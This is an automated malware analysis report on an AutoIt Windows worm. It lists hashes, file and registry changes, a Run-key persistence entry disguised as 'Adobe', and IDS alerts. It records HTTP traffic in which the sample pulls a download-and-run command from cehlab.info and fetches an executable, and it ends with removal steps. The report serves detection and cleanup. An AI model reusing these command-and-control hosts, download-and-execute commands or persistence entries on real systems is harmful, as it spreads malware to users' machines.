Worm.Win32.AutoItGen_b4f03ae3b8

by malwarelabrobot on September 8th, 2017 in Malware Descriptions.

Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Worm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: b4f03ae3b83218590cf348b6e8b3a386
SHA1: da325a4f068eb9a4e01d080670be1eaf32275a34
SHA256: ed0dc0012e489b2f33037882b1193830c59da57be4583a95b1855325213ac830
SSDeep: 12288:ytb20Qc3lT7af41ePBRYuQLKpqeUhbTv5OFgNuPPpHSgapRfeRkFUyTCA0Rj6A:ytb20pkaCqT5TBWgNQ7affeqVd4j6A
Size: 949248 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2017-08-26 12:39:17
Analyzed on: Windows7 SP1 32-bit


Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

%original file name%.exe:3888
rundll32.exe:3624

The Worm injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:3888 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LQUMIDKJ\lenh[1].txt (300 bytes)
C:\newfile.exe (14076 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\TIR4YGN2\lenh[1].txt (300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X66G0HIG\calc[1].exe (51185 bytes)

The Worm deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LQUMIDKJ\lenh[1].txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\TIR4YGN2\lenh[1].txt (0 bytes)

The process rundll32.exe:3624 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\N2XW5S1P\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\042G8DBY\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\IN3WYDO0\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\92H91NRG\desktop.ini (67 bytes)

Registry activity

The process %original file name%.exe:3888 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASAPI32]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASAPI32]
"FileTracingMask" = "4294901760"

"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASMANCS]
"EnableConsoleTracing" = "0"

"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 38 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASMANCS]
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\b4f03ae3b83218590cf348b6e8b3a386_RASAPI32]
"EnableConsoleTracing" = "0"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Adobe" = "C:\Windows\wupdate.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5 File path
829e4805b0e12b383ee09abdc9e2dc3c c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X66G0HIG\calc[1].exe
829e4805b0e12b383ee09abdc9e2dc3c c:\newfile.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 570703 570880 4.63051 f437a6545e938612764dbb0a314376fc
.rdata 577536 183362 183808 3.99959 827ffd24759e8e420890ecf164be989e
.data 761856 40276 25088 1.38816 e0a519f8e3a35fae0d9c2cfd5a4bacfc
.rsrc 802816 125684 125952 5.28682 784fe0b907355548ab39ed25f9e2f1bf
.reloc 929792 42100 42496 3.63585 0bc98f8631ef0bde830a7f83bb06ff08

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://cehlab.info/trojan.txt 198.252.103.16
hxxp://cehlab.info/lenh.txt 198.252.103.16
hxxp://cehlab.info/softs/calc.exe 198.252.103.16
teredo.ipv6.microsoft.com


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile
ET TROJAN AutoIt Downloading EXE - Likely Malicious
ET CURRENT_EVENTS Potential Dridex.Maldoc Minimal Executable Request
ET POLICY PE EXE or DLL Windows file download HTTP
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Traffic

GET /trojan.txt HTTP/1.1
User-Agent: AutoIt
Host: cehlab.info


HTTP/1.1 404 Not Found
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 618
Date: Thu, 07 Sep 2017 06:25:47 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
<!DOCTYPE html>.<html style="height:100%">.<head><
;title> 404 Not Found..</title></head>.<body style="
color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-se
rif; height:100%; background-color: #fff;">.<div style="height:a
uto; min-height:100%; ">     <div style="text-align: center; wid
th:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"
>.        <h1 style="margin:0; font-size:150px; line-height:150p
x; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;
font-size: 30px;">Not Found..</h2>.<p>The resource requ
ested could not be found on this server!</p>.</div></di
v></body></html>.HTTP/1.1 404 Not Found..Cache-Control:
 private, no-cache, no-store, must-revalidate, max-age=0..Pragma: no-c
ache..Content-Type: text/html..Content-Length: 618..Date: Thu, 07 Sep 
2017 06:25:47 GMT..Accept-Ranges: bytes..Server: LiteSpeed..Connection
: Keep-Alive..<!DOCTYPE html>.<html style="height:100%">.&
lt;head><title> 404 Not Found..</title></head>.&l
t;body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv
etica, sans-serif; height:100%; background-color: #fff;">.<div s
tyle="height:auto; min-height:100%; ">     <div style="text-alig
n: center; width:800px; margin-left: -400px; position:absolute; top: 3
0%; left:50%;">.        <h1 style="margin:0; font-size:150px; li
ne-height:150px; font-weight:bold;">404</h1>.<h2 style
<<< skipped >>>


GET /lenh.txt HTTP/1.1
User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:08 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:08 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\newfile.exe....


GET /softs/calc.exe HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:27:20 GMT
Content-Type: application/octet-stream
Content-Length: 114688
Date: Thu, 07 Sep 2017 06:26:08 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........E.d.$x7.$x7
.$x79.87.$x7..d7.$x7.$x7.$x7.$y7D$x79.a7.$x7T.=7.$x7..e7.$x79.E7.$x7Ri
ch.$x7........................PE..L.....};.................(..........
u$.......@............................................................
................... .......`..`...........................@...........
............................`...........(............................t
ext....&.......(.................. ..`.data........@.......,..........
....@....rsrc...`....`.......6..............@..@..};8.....};D.....};O.
....};\.....};i.....};s...........SHELL32.dll.msvcrt.dll.ADVAPI32.dll.
KERNEL32.dll.GDI32.dll.USER32.dll.....................................
......................................................................
......................................................................
......................................................................
.............................................".w.#.w...w.......w...w..
.w.......w...w...w...w.6.w.8.wA..w`..w...w *.wz..wy..w...w.0.w7..wiJ.w
^..w;J.w[..wcy.w@6.w.~.wX4.wE..w...w...wo..w...wy6.w.A.w......Iw......
.w.&.w1..wJ..w...w.t.w.v.we..w...wPd.w...w...wMZ.w...w...w&c.w.~.w...w
...w.r.w...w*C.w.).w...w...w...w.Q.w.a.w7..w.c.w...w...w.y.w.H.w...w.Y
.w.|.w'}.w7^.w-..w...w`..w%..w.^.wH`.w#_.wm..w...w;..wXA.w.K.w...w...w
...w...wt_.w)..w.=.w.=.w$@.w.x.w...w.@.w@..wL..w9..w.q.w...w...w......
.w...w...w...w.<.wP1.w.=.w@ .w.{.w.z.wi..w.{.w.z.w...w...w.y.w`
<<< skipped >>>

GET /lenh.txt HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:13 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:13 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\newfile.exe....


GET /lenh.txt HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:19 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:19 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\newfile.exe....


GET /lenh.txt HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:24 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:24 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\newfile.exe....


GET /lenh.txt HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:30 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:30 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\newfile.exe....


GET /lenh.txt HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:35 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:35 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\newfile.exe....


GET /lenh.txt HTTP/1.1


User-Agent: AutoIt
Host: cehlab.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Last-Modified: Sat, 26 Aug 2017 09:28:25 GMT
Content-Type: text/plain
Content-Length: 50
Date: Thu, 07 Sep 2017 06:26:41 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
2 hXXp://cehlab.info/softs/calc.exe c:\newfile.exeHTTP/1.1 200 OK..Las
t-Modified: Sat, 26 Aug 2017 09:28:25 GMT..Content-Type: text/plain..C
ontent-Length: 50..Date: Thu, 07 Sep 2017 06:26:41 GMT..Accept-Ranges:
 bytes..Server: LiteSpeed..Connection: Keep-Alive..2 hXXp://cehlab.inf
o/softs/calc.exe c:\new..

The Worm connects to the servers at the folowing location(s):

%original file name%.exe_3888:

.text
`.rdata
@.data
.rsrc
@.reloc
SSh8*
PSSSSSSh
Gt.Ht$
t.jGZf;
PSSShl
PVSShl
j.Zf;
;K|s%f
.Jw`8Hw~fHw
?#%X.y
GetProcessWindowStation
operator
kernel32.dll
oleaut32.dll
RegDeleteKeyExW
advapi32.dll
Error text not found (please report)
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is compiled without UTF support
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with Unicode property support
\N is not supported in a class
WSOCK32.dll
VERSION.dll
WINMM.dll
COMCTL32.dll
MPR.dll
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
USERENV.dll
UxTheme.dll
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
KERNEL32.dll
OpenWindowStationW
SetProcessWindowStation
CloseWindowStation
MapVirtualKeyW
EnumChildWindows
EnumWindows
VkKeyScanW
GetKeyState
GetKeyboardState
SetKeyboardState
GetAsyncKeyState
keybd_event
EnumThreadWindows
ExitWindowsEx
UnregisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegOpenKeyExW
RegCloseKey
RegCreateKeyExW
RegEnumKeyExW
RegDeleteKeyW
ADVAPI32.dll
ShellExecuteW
SHFileOperationW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
GetCPInfo
zcÁ
IIIIIB(II<.Fg
7?_____ZZSSH%
@Þ5
zgg%U
~P].ap
.Oy^U
Jn)%u9
.ANK1
.lz C
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"/>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
> >$>(>=>
5o6q6
6!6%6)6-616
343C3n3v3}3
:&:*:.:2:
4#4'4 4/43474;4
<$<,<4<<<\=
mscoree.dll
combase.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
APPSKEY
789:;<=>?
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
HTTPSETUSERAGENT
ISKEYWORD
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
SendKeyDelay
SendKeyDownDelay
TCPTimeout
WINDOWSDIR
AUTOITEXE
HOTKEYPRESSED
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
"%s" (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AUTOIT.ERROR
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
3, 3, 12, 0
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
c:\%original file name%.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.
0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.
3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.
String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:3888
    rundll32.exe:3624

  2. Delete the original Worm file.
  3. Delete or disinfect the following files created/modified by the Worm:

    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LQUMIDKJ\lenh[1].txt (300 bytes)
    C:\newfile.exe (14076 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\TIR4YGN2\lenh[1].txt (300 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X66G0HIG\calc[1].exe (51185 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\N2XW5S1P\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\042G8DBY\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\IN3WYDO0\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\92H91NRG\desktop.ini (67 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Adobe" = "C:\Windows\wupdate.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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